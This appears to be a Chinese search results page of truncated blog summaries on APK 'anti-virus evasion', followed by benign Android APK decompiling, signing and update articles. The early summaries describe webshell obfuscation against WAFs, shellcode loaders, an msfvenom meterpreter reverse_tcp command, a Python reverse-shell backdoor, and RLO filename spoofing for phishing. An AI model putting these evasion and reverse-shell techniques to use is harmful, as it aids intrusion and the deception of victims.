apk免杀工具
-
WAF攻防-权限控制&代码免杀&异或运算&变量覆盖&混淆加密&传参
webshell检测平台 https://scanner.baidu.com/#/pages/intro https://ti.aliyun.com/#/webshell 对比工具代码-菜刀蚁剑冰蝎哥斯拉等 对比WAF规则-函数匹配工具指纹等 1.php 传参带入 ?a=ass x=cGhwaW5mbygpOw== 2.php 变量覆盖 x=cGhwaW5mbygpOw== 3.php 加密变异 http://www.phpjm.net/ 4.php 异或运算 5.php 脚本生成器 Webshel
-
ConsoleApplication17_2项目免杀（Fiber+VEH Hook Load）
加载方式Fiber+VEH Hook Load Fiber是纤程免杀，VEH是异常报错，hook使用detours来hook VirtualAlloc和sleep，通过异常报错调用实现主动hook 纤程Fiber的概念：纤程是比线程的更小的一个运行单位。可以把一个线程拆分成多个纤程，然后通过人工转换纤程，从而让各个纤程工作。线程的实现
-
免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall
cs 上线 1. 生成 shellcode-c 或者 python 2. 打开 pycharm 工具，创建一个 py 文件，将原生态执行代码复制进去 shellcode 执行代码： 3.将生成的shellcode放到执行代码中，运行代码，cs成功上线 MSF 上线 1.执行命令，生成shellcode 命令：msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129
-
-
2、安全开发-Python-Socket编程&端口探针&域名爆破&反弹Shell&编码免杀
用途：个人学习笔记，欢迎指正！ 目录 主要内容： 一、端口扫描(未开防火墙情况) 1、Python关键代码: 2、完整代码：多线程配合Queue进行全端口扫描 二、子域名扫描 三、客户端，服务端Socket编程通信cmd命令执行 1、客户端: 2、服务端： 四、python代码shellCode编码免杀后门上线
-
【红队APT】钓鱼篇&Office-CVE漏洞&RLO隐藏&压缩包释放&免杀打包捆绑
经过免杀后的exe程序(xgpj.exe)，进行重命名，在gpl位置插入Unicode控制字符，RLO(从左到右覆盖)，如图 成功上线 后续修改图标，进行钓鱼伪装 演示环境：Winrar压缩软件 打包后进行RLO隐藏，主要是免杀问题 https://github.com/JohnHammond/msdt-follina 该漏洞首次发现在2022年5月27日，由白俄
-
第116天：免杀对抗-EDR&Syscall-hook&DLL反射注入&白加黑&隐写分离&加载器
知识点 演示案例： 总结
-
-
安卓apk修改(Android反编译apk)
最近因为项目需要，需要将Android手机系统自带的某个系统软件反编译并更改里面某个资源，并重新打包，签名生成新的自定义的apk，下面我来介绍一下我的实现过程。APK修改，分为以下几步： 反编译解包,修改, 重打包 , 修改签名等步骤。 1. 系统配置好Java JDK环境变量 2. 需要
-
Android APK 签名打包原理分析（一）【APK结构分析】
最近在看AOSP Apk安装的相关源码时，发现自己对这块知识一直停留到用的层面，并未有深入的了解，例如打包的具体过程、签名的具体过程、渠道打包，最重要的，自己这几年在做系统方面的应用时，也解决过很多apk 安装的问题，修改过部分的系统源码，可是没有把这块知识
-
Android下载apk并安装apk（用于软件版本升级用途）
软件版本更新是每个应用必不可少的功能，基本实现方案是请求服务器最新的版本号与本地的版本号对比，有新版本则下载apk并执行安装。请求服务器版本号与本地对比很容易，本文就不过多讲解，主要讲解下载apk到安装apk的内容。 （1）读写外部存储的权限需要动态申请，
-
flutter开发实战-应用更新apk下载、安装apk、启动应用实现
flutter开发实战-应用更新apk下载、安装apk、启动应用实现 在开发过程中，经常遇到需要更新下载新版本的apk文件，之后进行应用更新apk下载、安装apk、启动应用。我们在flutter工程中实现下载apk，判断当前版本与需要更新安装的版本进行比对判断，通过判断VersionCode来确定下载
-
Android系统视角下对APK的分析（2）- APK安装过程的定性分析
以Android手机用户角度来看，安装各式各样的APP，基本就是从应用市场上 “搜索-下载-安装” 三连。而对Android系统来说，这就是个大工程了，因为对Android系统来说APK是“外来户”，如何安装它、有限制地支持它的运行、如何防着它干坏事等问题就来了。 写此专栏的起因是为
-
apk文件怎么做二维码？apk二维码的两种制作方法
很多人现在会将apk文件做成二维码之后，让别人通过下载后安装软件，那么apk二维码该怎么制作呢，可能有些小伙伴还不知道制作的方法。想要将apk文件做成二维码，那么可以在网上找二维码生成器来制作，只需要通过简单的几步就可以做出支持文件下载功能的二维码。为了
-
安卓玩机-----反编译apk 修改apk 去广告 去弹窗等操作中的一些常识
安卓机型app的编译与反编译 apk文件的简单说明与解析 -安卓修改apk apk的组成和编译 一 电脑端几种反编译apk工具操作步骤解析 前面几个博文有说明关于反编译apk和apk架构等有些常识.今天对以上做个补充。初学者记住一点。对于一个apk文件使用压缩软件7zip打开可以查看到文件
-
apk反编译修改教程系列---简单修改apk默认横竖屏显示 手机端与电脑端同步演示【十一】
往期教程： apk反编译修改教程系列-----修改apk应用名称 任意修改名称 签名【一】 apk反编译修改教程系列-----任意修改apk版本号 版本名 防止自动更新【二】 apk反编译修改教程系列-----修改apk中的图片 任意更换apk桌面图片【三】 apk反编译修改教程系列---简单去除apk联网权限
-
flutter开发实战-打包应用apk签名及Android studio没有generate signed bundle/apk问题修改
flutter开发实战-打包应用apk签名及Android studio没有generate signed bundle/apk问题修改 最近使用flutter开发项目，需要将打包应用时候apk进行签名，我这边开发使用的是Android studio，发现在Android studio的build没有generate signed bundle/apk。这里记录一下问题修改，以及生产签名文件及gradle配置
-
Android apk逆向脱壳
步骤一：下载逆向相关软件和apk 1、Android模拟器：雷电模拟器，我这Android系统是7.1.2【推荐使用模拟器，已经有Root权限】 2、下载安装Xposed框架 3、下载安装‘反射大师’apk 4、jadx反编译 5、配置Xposed 显示如下图即安装成功 模块选择反射大师 步骤二：脱壳 在模拟器中
-
APK打包和签名
Build/Make Project编译项目后，会默认生成一个app-debug.apk版本的APK，AS运行就是把这个文件通过adb install 方式安装到手机的 我们可以选择使用release编译版本 再次Build/Make Project编译项目后，就会出现release版本的APK 2-1、生成签名文件 第一步：Build - Generate Signed Bundle / APL 第二步：选
-
Android APK加固原理
一、前言 Android作为开源框架，开放之余，所要面临的就是安全问题，世间之事，有正就有邪，有攻就有守，作为开发者虽然不需要进入专业安全领域，但还是需要掌握基本的安全常识和原理。 二、加壳 加壳最初用于windows平台可执行程序，后被Andriod平台采用用于apk加固，可